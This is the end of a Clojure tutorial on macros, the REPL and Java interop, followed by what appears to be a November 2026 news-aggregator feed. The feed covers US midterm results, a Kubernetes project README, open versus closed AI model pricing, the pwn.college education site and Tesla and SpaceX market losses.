The macros are defined using the defmacro special form. The major difference between defn and defmacro is that the parameters passed to defmacro are not evaluated by default.

To evaluate the parameter we use the ~ , as we're doing with ~(symbol name) . Using the ~ notation indicates that we'd like to replace the name with the value it refers to. This is called unquoting.

The ~@ notation used in (do ~@body) is called unquote splicing. This notation is used when we're dealing with a sequence. The contents of the sequence will be merged into the outer form during the splicing. In this case the body consists of a list representing the function's body. The body must be wrapped in a do block because the if statement requires having no more than three arguments.

The ` sign means that we wish to treat the following list as data instead of executing it. This is the opposite of unquoting, and it's referred to as syntax-quoting.

As I mentioned earlier, the macros are executed before evaluation time. To see what the macro will be rewritten as when the evaluator sees it, we can call macroexpand-1 .

(macroexpand-1 '(defprivate foo [greeting] (println greeting)))

(clojure.core/defn foo [greeting]
  (if (:user (clojure.core/deref session))
    (do (println greeting))
    "please log in"))

We can see that (defprivate foo (println "bar")) gets rewritten with a function definition that has the if statement inside. This resulting code is what the evaluator will see, and it's equivalent to what we would have to write by hand otherwise. Now we can simply define a private function using our macro, and it will do the check for us automatically.

(defprivate foo [message] (println message))

(foo "this message is private")

The preceding example might seem a little contrived, but it demonstrates the power of being able to easily template repetitions in code. This allows creating a notation that expresses your problem domain using the language that is natural to it.

The Read-Evaluate-Print Loop

Another big aspect of working in Clojure is the read-evaluate-print loop (REPL). In many languages you write the code, then run the entire program to see what it does. In Clojure, most development is done interactively using the REPL. In this mode we can see each piece of code we write in action as soon as it's written.

In nontrivial applications it's often necessary to build up a particular state before you can add more functionality. For example, a user has to log in and query some data from the database, then you need to write functions to format and display this data. With a REPL you can get the application to the state where the data is loaded and then write the display logic interactively without having to reload the application and build up the state every time you make a change.

This method of development is particularly satisfying because you see immediate feedback when making changes. You can easily try things out and see what approach works best for the problem you're solving. This encourages experimentation and refactoring code as you go, which in turn helps you to write better and cleaner code.

Calling Out to Java

One last thing that we'll cover is how Clojure embraces its host platform to benefit from the rich ecosystem of existing Java libraries. In some cases we may wish to call a Java library to accomplish a particular task that doesn't have a native Clojure implementation. Calling Java classes is very simple, and follows the standard Clojure syntax fairly closely.

Importing Classes

When we wish to use a Clojure namespace, we employ either the :use or the :require statements discussed above. However, when we wish to import a Java class, we have to use the :import statement instead:

(ns myns
  (:import java.io.File))

We can also group multiple classes from the same package in a single import, as follows:

(ns myns
  (:import [java.io File FileInputStream FileOutputStream]))

Instantiating Classes

To create an instance of a class, we can call new just as we would in Java:

(new File ".")

There is also a commonly used shorthand for instantiating objects:

(File. ".")

Calling Methods

Once we have an instance of a class, we can start calling methods on it. The notation is similar to making a regular function call. When we call a method, we pass the object as its first parameter followed by any other parameters that the method accepts.

(let [f (File. ".")]
  (println (.getAbsolutePath f)))

Above, we created a new file object f , and then called the .getAbsolutePath method on it. Notice that methods have a period . in front of them to differentiate them from a regular Clojure function. If we wanted to reference a static method or a variable in a class, we would use the / notation instead:

(str File/separator "foo" File/separator "bar")

(Math/sqrt 256)

There's also a shorthand for chaining multiple method calls together using the .. notation. Say we wanted to get the string indicating the file path and then get its bytes; we could write the code for that in two ways.

(.getBytes (.getAbsolutePath (File. ".")))

(.. (File. ".") getAbsolutePath getBytes)

Further Reading

This concludes our tour of Clojure basics. While we only touched on only a small portion of the overall language, I hope that the guide has provided you with a bit of insight into how idiomatic Clojure code is written. Below are some useful links for more in-depth documentation about the language.

Copyright © 2015 Dmitri Sotnikov

From Linux to Wikipedia: How Volunteers Build the Internet

Hacker News
thereader.mitpress.mit.edu
2026-11-05 23:17:49
Comments...
Original Article
You don't have permission to access "http://thereader.mitpress.mit.edu/from-linux-to-wikipedia-how-volunteers-build-the-internet/" on this server.

Reference #18.cf623417.1793945175.713f7a7e

https://errors.edgesuite.net/18.cf623417.1793945175.713f7a7e

Silicon Valley's Bad Night

Hacker News
www.theatlantic.com
2026-11-05 22:54:28
Comments...
Original Article

Our site’s security protections triggered a block. If you think this was in error, email us at [email protected] . Please include how you got to this webpage and the Cloudflare Ray ID located at the bottom of the page.

If you would like to inquire about permission to access our content, email us at [email protected] .

Cloudflare Ray ID: a5618ff4db68206a

Back to The Atlantic

Pwn.college

Hacker News
pwn.college
2026-11-05 22:27:14
Comments...
Original Article

You have entered the pwn.college DOJO, an education platform for learners to develop and practice core cybersecurity skills in a hands-on fashion. Entering, you receive your "white belt" , signifying the beginning of your hacker life. From here, you will learn cybersecurity by diving deep into the core of computing, using that journey to absorb cybersecurity concepts. This will involve melding your mind to your terminal, whispering instructions to the CPU, and strumming bits directly onto networks. That terminal cursor blinking above? It will be your stalwart companion through this adventure as you practice, earn your belts , and, eventually, make perfect.

Every dojo has its sensei. This platform is maintained by an awesome team of hackers at Arizona State University. It powers much of ASU's cybersecurity curriculum, and is open, for free, to participation for interested people around the world!

Enjoy your journey! If you have questions, comments, suggestions, and feedback, please join our Discord server or email us at [email protected] !

The Rules

The challenges created for pwn.college are, first and foremost, educational material, and are used to grade students at universities around the world. Because of this, we would appreciate that you do not post writeups, walkthrough videos, and livestreams of challenge solutions to the internet. Obviously, we can't enforce this, but we worked hard to make all of this public, and we would appreciate your help in keeping pwn.college a viable educational platform.

Please agree to these rules to continue to the material!

Abdul El-Sayed Shows Opposition to Israel Is No Barrier to Winning Battleground States

Portside
portside.org
2026-11-05 22:25:57
Abdul El-Sayed Shows Opposition to Israel Is No Barrier to Winning Battleground States jay Thu, 11/05/2026 - 22:25 ...
Original Article

Abdul El-Sayed defeated Mike Rogers in Michigan's U.S. Senate race, keeping a pivotal seat in Democratic hands and demonstrating that even strident opposition to Israel is no barrier to winning competitive federal races.

El-Sayed won despite AIPAC spending more than $30 million to defeat him in the Democratic primary and another reported $9 million on behalf of Rogers in the general election.

He managed to turn this spending against the American Israel Public Affairs Committee, presenting its opposition to him as evidence that he was on the right side of history.

"They wanted to make an example out of me, and we've made an example out of them," he said after defeating Rep. Haley Stevens , a pro-Israel Democrat, in the primary.

This rhetoric rankled some members of the Jewish community, who felt that his focus on AIPAC and claims that U.S. aid to Israel was to blame for domestic issues were antisemitic.

Jewish leaders mobilized against El-Sayed, with some joining a group called Democrats for Rogers and others launching a campaign called Nonnegotiable that encouraged Jews to write in the poet Emma Lazarus rather than support El-Sayed.

Tuesday's resounding result demonstrated the limits of the organized Jewish community's political power. While El-Sayed appeared at Jewish events and met with leaders, he largely refused to alter his rhetoric or policy positions to appease pro-Israel voters.

Michigan Jews, who are overwhelmingly liberal, also seemed reluctant to jump ship despite some deep disagreements with El-Sayed.


Haley Stevens speaks alongside Michigan Republican Senate candidate Mike Rogers on Sunday.   (Photo credit: Jose Juarez/AP  //  Haaretz)


A poll of Jewish voters who cast early ballots, released by the Jewish Majority, a pro-Israel group, found that 60 percent voted for El-Sayed. That group also skewed older and more attached to Israel than the Jewish community at large.

Results from precincts in heavily Jewish neighborhoods outside Detroit, where most of the community lives, showed that El-Sayed won a solid majority of votes even as he underperformed other Democrats by as many as 30 percentage points.

In one Huntington Woods precinct, home to many Jews, El-Sayed was running 31 points behind Jocelyn Benson, the Democratic candidate for governor, though he was still beating Rogers by roughly the same margin.

Michigan Democratic gubernatorial candidate Jocelyn Benson speaks at an election night event in Detroit, Michigan on Wednesday.   (Photo credit: Julia Demaree Nikhinson/AP  //  Haaretz)


"The much-discussed, so-called 'exodus' of Jewish voters from the Democratic Party once again hasn't materialized," Jeremy Ben-Ami, the president of J Street, wrote on X.

But many Jewish voters who cast their ballots for El-Sayed still worried that his victory would demonstrate not only that strident criticism of Israel was no impediment to winning close races, but that it could be an asset.

"What was in his heart was not to try to garner our favor, but was to continue to use us as a punching bag, hoping to get more of the anti-Jewish vote or anti-Jewish sentiment in his favor," said Cantor Regina Lambert-Hayut, a founding member of Nonnegotiable. "It worked."

Other Jewish Democrats in the state had sought to push back against claims that El-Sayed posed a threat to Jews.

"We're going to have this young Jewish and young Muslim senator – it's gonna be something," said Andy Levin, a former member of Congress from the Detroit area who helped create a group called Michigan Jews for Democracy that campaigned for El-Sayed in the community.

Abdul El-Sayed claims victory on election night in Michigan on Tuesday.  (Photo credit: Shira Shechter / Haaretz)


"We see a candidate in Abdul who not only supports freedom, dignity, safety, and self-determination for all Jewish Israelis and Palestinians," said Rabbi Nate DeGroot, one of the few Jewish clergy members in Detroit to publicly back El-Sayed.

The aftermath of a March car-ramming attack on Temple Israel in the Detroit suburbs also shaped how many of the state's Jewish voters viewed the race. El-Sayed condemned the incident but also sought to contextualize it: "Hurt people hurt people," he said, referring to reports that several members of the attacker's family had been killed in an Israeli airstrike in southern Lebanon.

El-Sayed later told Jewish Democrats that he regretted making those comments so soon after the attack. But he struggled to placate critics who believed his rhetoric around AIPAC and Israel scapegoated Jews. These tensions resurfaced in the campaign's final days when a minor political action committee supporting El-Sayed released a digital advertisement blaming Israel for the high cost of groceries in the U.S.

El-Sayed's campaign distanced itself from the ad, but Stevens demanded that he condemn it more forcefully. That dispute culminated in one of the race's most dramatic incidents when Stevens made a surprise endorsement of Rogers just 48 hours before the election, unifying the Democratic establishment against her.

Even many Democratic critics of El-Sayed argued that backing Rogers, rather than simply withholding an endorsement of El-Sayed, legitimized Islamophobic and racist attacks against him. Rogers had linked El-Sayed to "the threats of radical Islam" and suggested, with little evidence, that he had ties to the Muslim Brotherhood.

Opponents of El-Sayed and what he represents for the future of Democratic politics can take some solace in the fact that, on a night when voters across the country swung dramatically toward Democrats, those in Michigan moved much more subtly.

In Texas, where James Talarico flipped a Senate seat for Democrats, many counties swung 20 points toward Democrats compared to the 2024 election. But in Michigan, the shifts in counties that had reported results by early Wednesday morning were roughly half as large.

[ Arno Rosenfeld is an enterprise reporter at The Forward, America's largest Jewish newspaper, covering how antisemitism — and the politics swirling around it — shapes Jewish life. Since August 2026, he has been Washington correspondent for Haaretz.

My reporting centers on the debates over defining antisemitism, Jewish life on college campuses, how Jews have responded to antisemitism in different ways, and the rifts among national organizations over how to keep Jews safe. I've reported from Charlottesville, Colleyville, Tel Aviv, Berlin, and the West Bank, among other places.

Before The Forward, I covered state politics for the Casper Star-Tribune and I got my start in Jewish journalism at J., The Jewish News of Northern California, and have written for JTA, The Times of Israel, Maclean's, SF Weekly, and Washington Jewish Week.]

Nvidia Kubernetes Engine (NVKE)

Hacker News
github.com
2026-11-05 22:16:26
Comments...
Original Article

License Go

Run a managed Kubernetes service on your own NVIDIA GPU infrastructure. NVIDIA Kubernetes® Engine (NVKE) provides the management plane that platform teams install to create and operate Kubernetes clusters for their customers. Each workload cluster has its own Kubernetes control plane, etcd and node pools. You operate the NVKE management plane; your customers use their clusters through the Kubernetes API and kubectl .

Preview: NVKE is available as a preview. APIs, configuration and behavior can change between releases, and we do not recommend NVKE for production workloads. See Preview status and known limitations .

Get started · Documentation · Contribute · Get help

Getting started

Your goal Start here What you get
Evaluate without GPU hardware Local quickstart A development management plane and a workload cluster on simulated machines. No NVIDIA account is required.
Install on your infrastructure Plan your installation The prerequisites and sequence for preparing nodes, bootstrapping a management cluster and installing its services.
Build or contribute Build from source The NVKE binaries and the contributor development loop.

The local quickstart runs on a Linux host or VM, amd64 or arm64 , with at least 6 CPUs, 12 GiB of free memory and 100 GiB of free disk . It requires Docker, virtual TPM support and the tools listed in the guide. Follow its setup through workload-cluster creation and confirm the cluster's nodes report Ready . On macOS, use the local site guide , which runs the evaluation inside a Colima virtual machine.

For a real installation, you supply the machines, networking, node images and registries, and configure access to NVIDIA Infra Controller (NICo) . NICo is the sole compatible infrastructure provider at preview. The platform and version reference lists validated combinations and pinned dependencies.

What NVKE does

  • Creates independent workload clusters. Request clusters through the NVKE API or nvkectl ; NVKE provisions machines through NICo and forms Kubernetes clusters with their own control planes.
  • Manages workload cluster lifecycle. Create, scale and delete node pools, upgrade Kubernetes and replace nodes. See the node pool guide for the manual steps and preview limits on replacement and upgrades.
  • Establishes node identity. Nodes attest through SPIFFE/SPIRE using their TPM before receiving join credentials. Encryption of etcd data is available per cluster.
  • Connects builds to deployment. Its companion project, NVIDIA Kubernetes Recipes (NVKR) , builds node images and NVKE components from pinned inputs. NVKE deploys those artifacts; NVKR owns their build and release evidence.

The preview needs explicit operator configuration: API authentication is off and the API uses plain HTTP after installation. Configure API authentication and protected access before admitting callers. The management cluster does not upgrade, scale or replace itself, and there is no management-plane upgrade or backup/restore procedure. FDE node images are for evaluation and provide no data-at-rest confidentiality. Read the known limitations before choosing an evaluation or installation path.

Overview

The diagram shows the NVKE product family, how it sits on NICo and your GPU machines, and which components talk to each other.

NVKE product family. NVKR builds and signs artifacts and publishes them to a registry. The operator installs the management cluster's components, the NVKE management plane, CAPNICo and NVKE observability, from the charts and images in the registry. The management plane requests machines through CAPNICo, which calls NICo, and drives each workload cluster. NICo provisions NVIDIA GPU machines from the node OS image, and those machines become the workload cluster's Kubernetes nodes, each running nvke-agent, under the cluster's Kubernetes control plane. The accelerated runtime produced by AICR and NVKE observability are optional in the workload cluster. The customer uses kubectl against the control plane.

NVKE is not a Kubernetes distribution and not a Cluster API flavour. It is a self-hosting factory for Kubernetes clusters : a throwaway seed cluster stands up a management cluster, and the management plane on it then provisions and lifecycle-manages many isolated workload clusters on demand.

An installation has two kinds of Kubernetes cluster:

  • The management cluster runs the NVKE management plane and infrastructure controllers. nvkectl forms it using a temporary seed cluster; installing the management-plane services is a separate step.
  • Workload clusters run customer applications. The management plane creates and operates them through NICo, Cluster API and the node agent.

Read What is NVKE for the operator workflow and Architecture for the implementation and data flows.

Build from source

Use Go 1.27.3 , the version pinned in go.work , and GNU Make 4 or later . Public Go modules must be reachable on the first build. Flox is optional and supplies the repository's development tools; on macOS, it also supplies GNU Make 4. See Development for toolchain setup.

git clone https://github.com/dsx-ai-factory/nvke.git
cd nvke
make build

This builds the workspace and writes nine binaries to bin/ : agent , updater , controller , nvkectl , capd-reboot-controller , nvke-os-image-check , management-engine , tenant-api and operator-api . Building does not start a management plane or create a cluster. The node agent runs on Linux.

The workspace guide explains the modules and outputs. For local services and test environments, see Local development setup . Before submitting a change, follow CONTRIBUTING.md and run make preflight ; it selects checks for the modules you changed.

Documentation

Task Guide
Prepare nodes and bootstrap the management cluster Bootstrap the management cluster
Install NVKE services Install the management plane from the deploy path
Build node images and supply release artifacts Get NVKE artifacts from NVKR
Create and manage customer clusters Create a workload cluster , Manage node pools
Give a customer access Access a workload cluster
Inspect cluster health and telemetry Observe NVKE and its clusters

The documentation index links the remaining guides and references.

Contributing and support

Contributions, bug reports and documentation improvements are welcome. Start with CONTRIBUTING.md ; open an issue before substantial work so maintainers can agree on the approach.

Trademarks

Kubernetes® is a registered trademark of The Linux Foundation in the United States and other countries. NVIDIA and the NVIDIA logo are trademarks and/or registered trademarks of NVIDIA Corporation in the U.S. and other countries. Other company and product names may be trademarks of the respective companies with which they are associated.

License

Apache License 2.0. See LICENSE and NOTICE .

Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.

Is It Angie Nixon’s Florida Democratic Party Now?

Portside
portside.org
2026-11-05 22:08:45
Is It Angie Nixon’s Florida Democratic Party Now? jay Thu, 11/05/2026 - 22:08 ...
Original Article

After losing Tuesday’s election to Republican Senator Ashley Moody, Democrat Angie Nixon was still entirely in campaign mode.

“We may have lost this battle, but the war is not over and I need y’all to stay in this fight,” Nixon told a packed crowd decked out in pink in a Jacksonville warehouse. “2028 is around the corner, so Ashley Moody, you better get it right cause we’re coming for you.”

Her final words to the room: “Let’s go win, y’all!” Then Nixon started dancing.

The disappointment before she had taken the stage was palpable: Supporters had been calling voters up until the final moments before polls closed, still hoping to eke out a long shot win against the Florida Republican Party’s machine.

But Nixon — who mobilized long-ignored voters and drew thousands to rallies — turned the energy around, all but promising another run for the U.S. Senate in two years when Moody is back on the ballot. It wasn’t long before she had the room chanting “2028.”

Supporters say Nixon modeled how an unapologetic progressive candidate can drive out voters in Florida, and Democrats across the ideological spectrum agree that her candidacy was a tide that raised other Democrats. Florida’s 60% turnout nearly hit the three-decade high it reached in 2018, when Democrats nominated another young, Black progressive, Andrew Gillum, for governor.

Her race was “a mandate from the people in the state of Florida showing that they’re long overdue for the leadership from the people that are true progressives and care about the people,” said Gainesville activist and Nixon supporter Chanae Jackson.

But after Democrats failed to win any statewide races Tuesday, the party remains at a crossroads about its future — and the extent to which it will embrace Nixon as its new center.

An underestimated bid

Nixon was underestimated by her own party and Florida Republicans from the very first day of her Senate campaign.

The back-bench state lawmaker had never run for statewide office and represented the left-most wing of a party that carried little power against Florida’s Republican supermajority in the state Legislature.

She was largely overlooked when she announced her Senate run in January, and raised less than $1 million in the six months that followed.

“I’m a community organizer and community organizers don’t oftentimes — especially in the state of Florida — actually win elections,” she said at the beginning of this year.

Nixon shocked Florida’s political establishment when she won her primary in August despite “favoritism,” as she described it to the Herald/Times over the summer, for her opponent from the Democratic Party.

She’s now maybe the best-known Florida Democrat in the country, with progressive-left campaign priorities like Medicare for All and universal childcare.

Her candidacy marked a sharp departure from recent centrist statewide Democratic candidates intended to appeal to Republicans in a state where Democrats have a massive voter registration disadvantage.

“We were able to do something that everyone said that we weren’t able to do: Run a candidate who’s progressive. Everyone says to win in Florida, you have to run in the middle, you have to be a moderate,” state Rep. Michele Rayner said Tuesday.

Angie Nixon dances on stage after telling supporters her fight is not over after losing Tuesday’s Senate race.  (Photo: Claire Heddles)

Where does the party go?

After the turnout successes of her campaign, some of her closest supporters are calling for a reckoning within the party that prioritizes the leadership of progressive Black women like Nixon.

“There’s a lot of anti-Blackness in the Democratic Party,” Jackson, the Gainesville supporter, said Tuesday. “They can no longer continue to have our labor and then not accept our leadership.”

Florida Democratic Party chairwoman Nikki Fried — a moderate Democrat who has clashed with Nixon at various points — said Tuesday that she has no plans of leaving her leadership post anytime soon as she too looks ahead to the next election.

“Nope, not on the table,” she said Tuesday afternoon, when asked about the possibility of new leadership. “My term ends in 2028.”

But she and Democrats across the ideological spectrum agree that Nixon’s presence on Tuesday’s ballot was a rising tide that lifted other Democratic candidates.

“What Angie’s been able to do is energize the base, give a compelling argument of why vote Dem this cycle and we’ve seen a lot more lower-propensity voters turning out in this midterm,” Fried said.

Chair of the Florida Democratic Party Nikki Fried, speaks during the Miami-Dade Democratic Party's 2026 Blue Gala at the Frost Science Museum, in Miami. Florida, on Saturday, September 19, 2026.  (Photo by: Al Diaz / Miami Herald)


Nixon still had her skeptics in the party, even as it was near universally recognized that she drove more voters to the polls.

“Angie Nixon’s campaigns have certainly energized a large segment of Democrats,” Miami-Dade Democratic Chairwoman Laura Kelley said last week. “There is a positive, and at the same time there are people who legitimately think she may be too extreme.”

Republicans had spent most of the campaign framing Nixon as a “radical” threat to the country because of her recent decision to join the Democratic Socialists of America among other minor parties this summer. But she beat Moody in Miami-Dade, home to scores of voters who fled socialist governments, and did just as well as centrist Democratic gubernatorial candidate David Jolly.

“A lot of Democrats who were panicking about Angie Nixon on the ballot on primary night are instead gonna be thanking their lucky stars that she ended up being the candidate,” Democratic pollster Fernand Amandi said ahead of the election.

While Nixon lost Tuesday, she came within three points of Moody — after getting little investment from national Democratic funding groups, compared to the tens of millions poured into winning Texas Democratic Senate candidate James Talarico.

Some supporters point to the fact that she was in striking distance at all as evidence that real investment from the party, and belief a candidate like Nixon could have won, could have made a difference.

“Her loss is 100% on the national and state parties. If she’d had even a modicum of support she could have won,” former Miami-Dade County Democratic Party Chairman Robert Dempster said Tuesday night.

Nixon herself agreed to reporters Tuesday night that more investment might have made a difference in her race, but she focused her sights ahead: “At the end of the day, it’s okay.”

Since Moody is fulfilling Secretary of State Marco Rubio’s term, she needs to run for re-election for a full term in 2028. For Nixon, the campaign’s already begun.

“I’m looking forward to registering voters these next two years,” she said. What she hopes people take away from Tuesday as 2028 looms is that, “Florida is not a lost cause, and I think we proved that tonight.”

[ Claire Heddles is the Miami Herald’s senior political correspondent. She previously covered national politics and Congress from Washington, D.C at NOTUS. She’s also worked as a public radio reporter covering local government and education in East Tennessee and Jacksonville, Florida.]

How Windows Bootloader Starts the Kernel

Lobsters
www.youtube.com
2026-11-05 22:01:39
Comments...

Hochul and Mamdani Teach Democrats a Vital Lesson in Party Unity

Portside
portside.org
2026-11-05 21:51:46
Hochul and Mamdani Teach Democrats a Vital Lesson in Party Unity jay Thu, 11/05/2026 - 21:51 ...
Original Article

New York Mayor Zohran Mamdani, New York Governor Kathy Hochul, and US Representative Alexandria Ocasio-Cortez stand outside Murphy’s Sports Bar in Astoria, Queens, on November 1, 2026. | Photo: Dave Sanders // The Nation

To paraphrase a classic work, there is a specter haunting the Democratic Party, and its name is “socialism.” Or at least that’s what the mainstream American media would have you believe.

Whichever network I appear on, I’m sure to get a breathless question about the looming civil war between the progressive and moderate wings of my party.

It is treated as an article of faith that peaceful coexistence is an impossibility, and that any chance of unity will inevitably be subverted by the wily and newly empowered Democratic Socialists of America.

This narrative is oh-so-clean and fulfills the normal journalistic desire for conflict.

But the facts on the ground in 2026 suggest a far different reality, one that has been consistently developing over the last decade and that in truth offers new possibilities for the growth of the party.

The most powerful example is on display in my state: New York. Here, Mayor Zohran Mamdani and Governor Kathy Hochul have formed a mutually beneficial and strikingly cohesive alliance . In the New York context, we are getting an object lesson in the ways both wings of our party actually need each other.

On many of the issues that matter, it is Mamdani who often sets the tone ideologically and moves Hochul leftward, a phenomenon we will see more frequently around the country.

The recent adoption by the state legislature of a pied-a-terre tax for NYC—asking a little more from those with expensive second homes—is an example of a progressive policy that Albany would never have passed on its own but felt it had to because of the grassroots energy created by Mamdani’s movement.

To be clear, this is not an entirely new reality. When I was elected mayor in 2013 on a platform of higher taxes on the wealthy to fund Universal Pre-K, my campaign created inexorable pressure on then-Governor Andrew Cuomo to act.

The difference now is that rather than resisting Mamdani at every turn (which was my experience with Cuomo), Hochul understands that the best way to both win elections and to govern is with the mayor by her side.

The governor has taken positions on taxation and on Mamdani’s enlightened Universal Childcare Plan that she otherwise might not have. But instead of the sky falling for her politically because she worked with a democratic socialist, she is arguably in a stronger position to lead than ever.

In the run-up to today’s midterm elections, the Democratic Party’s Washington-based organs began to embrace the general election campaigns of progressive primary-winners in ways they wouldn’t have in the past. It may be grudging and not generous enough, but it has been happening.

DNC chair Ken Martin has more genuine affinity for the progressive wing than almost any of his predecessors, and Democratic congressional leaders Chuck Schumer and Hakeem Jeffries have clearly been changing their tune about the new voices emerging around them.

Have we seen a seamless and elegant transition to a new political reality? No, as has been illustrated by the drama surrounding defeated centrist Democratic Senate candidate Haley Stevens, and her late-stage withdrawal of support for the party’s nominee, Abdul El-Sayed.

But Stevens is the exception, not the norm. In most states, open warfare is rare. For the most part, the two tendencies are working together.

Even in Michigan, after arguably the nastiest primary fight in the nation, the vast majority of the mainstream Democratic establishment, led by centrist Senator Elissa Slotkin, quickly united behind El-Sayed. Indeed, Slotkin had been a steady and effective campaigner for El-Sayed.

Were there entirely practical motivations for Democrats such as Hochul and Slotkin to embrace unity and enlightened approaches to the 2026 campaign?

Absolutely!

But what’s striking is the growing recognition that moderates now need the energy and mobilization and new ideas that progressives bring.

And these examples also remind us that progressives can benefit from the resources (in Hochul’s case) and the access to important constituencies (in Slotkin’s case) that moderates often bring to the table.

Although I don’t want to overstate the notion that a productive modus vivendi is developing between the two wings of the party, it’s fair to say nationally there has been a striking change in recent years.

If 2016 was an extraordinary growth moment for the left because of Vermont Senator Bernie Sanders’s campaign for the Democratic presidential nomination, it also marked a low point for party unity. The Clinton campaign and the Democratic establishment simply couldn’t forgive Bernie’s audacity and didn’t want to embrace his movement. I had a front-row seat in Philadelphia as this huge mistake of arrogance and underestimation unfolded at that year’s Democratic National Convention. As I watched Bernie take the microphone and call for Hillary to be nominated by acclamation, I thought surely this was the beginning of the coalition we needed to win. But that fleeting moment was followed by a spurning of progressive ideas and energy that may well have cost Democrats the White House in 2016.

A scenario like that may not be unthinkable today, but it is much less likely.

Progressives have gained strength and won elections to such a degree that the Democratic mainstream now broadly understands they no longer have the party to themselves. Increasingly, they recognize that mainstream Democrats must work with the powerful movement that progressives have built.

Could this end up being a 1932- or 1964-like moment, when a new and bigger Democratic coalition developed accompanied by a more progressive vision?

It’s certainly possible, especially given the increasing openness of American voters to solutions that address the more glaring failures of the capitalist system.

As the discourse opens up, and proposals for real change begin to emerge, we Democrats should understand that Donald Trump—and the real threat of authoritarianism he poses—has inadvertently played a major role in sparking a long-overdue renewal in our party.

For while his disruption of the Republican Party has surely led it rightward—and badly damaged his party’s prospects in this midterm election season—his broader disruption of American politics, and of the American economy, has led to a disruption of the Democratic Party.

That disruption, along with decades of hard work by Sanders and the recent victories of a new generation of candidates, has brought Democrats closer to our New Deal and Great Society roots and begun to forge a party that is ready to win again. And when Democrats regain power, to build a future than does not just reject Trump but that builds a progressive future for our country.

Copyright c 2026 The Nation. Reprinted with permission. May not be reprinted without permission . Distributed by PARS International Corp .

Founded by abolitionists in 1865, The Nation has chronicled the breadth and depth of political and cultural life, from the debut of the telegraph to the rise of Twitter, serving as a critical, independent, and progressive voice in American journalism.

Please support progressive journalism. Get a digital subscription to The Nation for just $24.95!

Closed AI models dominate the price-performance frontier

Hacker News
village.dev
2026-11-05 21:49:56
Comments...
Original Article

Village’s LLM Atlas maps the price-performance frontier: the strongest AI model at every price point.

Closed models hold almost every budget

Two scatter plots of LLM Atlas capability score against estimated cost per task, relative to GPT-5 at high effort, for every model released by June 30 and by October 31, 2026, with the price-performance frontier drawn through them. In June, 8 of the 19 points on the frontier were open-weight, including DeepSeek-V4-Flash, GLM-5.2, Gemma 4 E4B IT, Hy3 preview and Llama 3 8B Instruct, and an open model was the best buy at 41% of budgets from 1% to 3 times GPT-5’s cost. By October 31, 5 of 21 were, all in the cheaper half of the frontier (DeepSeek V4.1 Flash, Gemma 4 E4B IT, Llama 3 8B Instruct, MiMo-V2.6-Flash), and the share of budgets fell to 3%.

  • An open-weight model is the best buy at 3% of budgets. Nearly all of those are at the cheap end, held by Google’s Gemma 4 E4B and Xiaomi’s MiMo-V2.6-Flash.
  • In June, it was 41%. DeepSeek V4 Flash alone was the best buy across nearly a third of budgets, with Zhipu’s GLM-5.2 just above it.
  • Two OpenAI releases took most of that back. GPT-6 Luna in September and GPT-6.1 Terra in October now cover the budgets open models used to win, alongside Anthropic’s Claude Haiku 5.5.

Open models have led on value before

The share of budgets, spread evenly on a log scale from 1% to 3 times GPT-5’s cost per task at high effort, where the most capable model costing no more than the budget is open-weight, at the end of each quarter from 2024 and on October 31, 2026: Q1 2024 6%; Q2 2024 42%; Q3 2024 19%; Q4 2024 32%; Q1 2025 7%; Q2 2025 7%; Q3 2025 52%; Q4 2025 30%; Q1 2026 26%; Q2 2026 41%; Q3 2026 20%; October 31, 2026 3%.

  • Today’s share is the lowest we have measured. At the end of every quarter since 2024, open models held at least 6% of budgets.
  • The peaks came from single releases. DeepSeek-V3.2-Exp was the best buy at nearly half of all budgets the week it launched in September 2025.
  • None of them lasted. After each peak, the open share fell by about half or more by the next quarter as closed labs shipped cheaper tiers.

Open models win on value in bursts: a strong, cheap release, usually from DeepSeek, takes a wide band of budgets until the next closed model undercuts it. The latest closed releases have been both cheaper and stronger than anything open, so the band has shrunk to the very bottom of the price range.

Why closed labs may be winning on value

Three explanations fit the pattern:

  • Closed labs can distill their own frontier models. A lab with the strongest model can train cheaper ones on its outputs in-house, and today’s cheap closed tiers followed their flagships within weeks, as Claude Haiku 5.5 did two weeks after Claude Opus 5.5. Open labs have to start from their own, weaker models, since closed labs’ terms generally bar training competitors on their outputs.
  • Closed labs release whole families. OpenAI’s GPT-6 and GPT-6.1 models, from Luna and Terra up to Sol and Astra, hold 11 of the frontier’s 21 points between them, so one generation covers nearly every price.
  • Closed labs may serve more cheaply. OpenAI, Anthropic and Google run inference at enormous scale, Google on its own chips, which can lower what each task costs; most open-model labs serve far less traffic.

How we built this

This study uses Village’s LLM Atlas , which estimates a capability score for each model and reasoning setting from public benchmark results and, with a separate cost model, its cost per task from evaluators’ runs, described in its methodology . Costs are relative to GPT-5 at high effort. For each date, we take every model released by then and find the most capable one at each of 201 budgets spread evenly on a log scale from 1% to three times GPT-5’s cost. The scores are from October 31, 2026; Atlas updates as new results arrive.

Costs reflect what evaluators paid through hosted APIs, and open models can be cheaper to run on your own hardware. Restricting to models scored on at least 10 benchmark families, or narrowing the budgets to 3% to one times GPT-5’s cost, gives the same pattern; widening them to 0.3% to ten times raises today’s share to 16%, because tiny open models still win at the very cheapest end.

Castration extends life span in mice

Hacker News
www.science.org
2026-11-05 21:38:29
Comments...

Tesla and SpaceX lose over $420B in combined market cap in the two days

Hacker News
techlaws.pages.dev
2026-11-05 21:30:25
Comments...
Original Article

The midterm elections have dealt a major blow to Donald Trump and his Republican Party, as well as to one of his biggest backers, entrepreneur Elon Musk. The two major companies controlled by Musk—Tesla and SpaceX—have suffered a sharp stock market correction following the Democrats' unexpected victory in Texas and their majority in the U.S. Congress.

Tesla shares fell 3.3% on Wednesday, and on Thursday the decline accelerated, dropping another 10.77%. SpaceX shares fell 3.8% on the first day and another 9% on Thursday. In total, the market value loss for the two companies is approaching $469 billion, or about €417 billion at the current exchange rate. On Wednesday, the depreciation amounted to €110 billion.

Given that Elon Musk controls 35% of SpaceX and 11% of Tesla, the loss in value of his personal wealth is around $189 billion (€170 billion).

Markets have interpreted the election results as an increase in regulatory risks for the business empire of the South African tycoon, one of the main funders of the Republican Party in the midterm campaign .

Musk's business empire has benefited in recent years from a very lax tax regime in Texas, along with regulations highly favorable to the development of data centers for processing artificial intelligence algorithms, one of his major investments. He has also capitalized on SpaceX's consolidation as the primary supplier to the aerospace agency, NASA.

Analysts consulted by Bloomberg believe that a Democratic-controlled Congress could strengthen oversight of key sectors for Musk, such as AI, and complicate a potential integration between Tesla and SpaceX.

